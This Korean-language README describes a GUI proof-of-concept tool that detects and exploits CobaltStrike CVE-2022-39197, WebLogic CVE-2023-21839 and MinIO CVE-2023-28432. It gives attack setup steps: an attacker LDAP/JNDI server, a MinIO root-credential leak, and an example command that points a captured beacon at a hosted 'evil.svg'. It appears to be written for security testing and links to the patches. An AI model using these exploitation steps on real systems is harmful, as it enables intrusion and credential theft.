Gui-poc-test

A testing tool for CobaltStrike-RCE:CVE-2022-39197; Weblogic-RCE:CVE-2023-21839; MinIO:CVE-2023-28432

이 세 가지 취약점에 대한 그래픽 기반 취약점 탐지 및 이용 도구

주의사항

1. jar 실행 시 Java 8 필요
2. 단일 대상 대상, 다중 IP 취약점 스캔에는 적합하지 않음
3. 패키징 시 Weblogic 취약점 이용을 위해 wlfullclient.jar를 참조해야 하며, 직접 추가해야 합니다

Usage

java -jar Gui-poc-test.jar

사용 방법: 탐지 및 이용 두 개의 버튼이 있습니다. 취약점별 사용 방법은 도구 인터페이스에 힌트가 있습니다.

MinIO 정보 유출

대상 입력, 포트 입력 불필요, 기본값 9000, 변경 가능, 소스 코드 GuiDemo.java:line144 참조

MINIO_ROOT_USER 및 MINIO_ROOT_PASSWORD 등을 반환합니다.

Weblogic RCE

대상 IP, 포트, LDAP 서버 주소 입력

탐지:

참고: 취약점 이용을 위해 자체 LDAP 서버(공용 네트워크)를 구축해야 합니다.

• jndi 서버 이용 도구: JNDIExploit.jar 도구를 사용하여 LDAP 및 WEB 서비스를 시작, https://github.com/WhiteHSBG/JNDIExploit 참조

CobaltStrike RCE

1. 취약점 선택 후 기본적으로 자체 확인 방법이 표시됩니다. CS 리스너에 탐지 코드를 입력하여 취약점 존재 여부를 자체 테스트할 수 있습니다.
2. 이용 전제 조건: 로컬에서 상대방 트로이 목마(exe)를 획득해야 함
3. 실행 환경 요구 사항: win, python3, pip3로 frida-tools 설치
4. Python이 환경 변수에 추가되어 있어야 함
5. 자체 서버를 구축하여 svg 파일, jar 패키지를 배치하고 상대방이 접근 가능해야 함
6. exe의 절대 경로와 svg 주소를 공백으로 구분하여 입력하고 실행을 클릭하여 대응
7. jar 패키지 내용을 직접 설정하세요. 데모 내용은 계산기 팝업입니다.
8. 기본 트로이 목마 이름은 beacon이며, 수정 가능, 소스 코드 cve_2022_39197.py:line28 참조

payload 예시: beacon.exe http://127.0.0.1:4444/evil.svg

실행 결과: Win에서 트로이 목마 실행, Mac의 CS 클라이언트 온라인

동시에 CS 측에서 jar 패키지 내용을 실행하여 계산기 팝업

Win에서 CS 접속 주소 기록

Reference

원리: https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_zh_CN.md

https://github.com/4ra1n/CVE-2023-21839

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

https://github.com/its-arun/CVE-2022-39197

cs 패치: https://github.com/burpheart/CVE-2022-39197-patch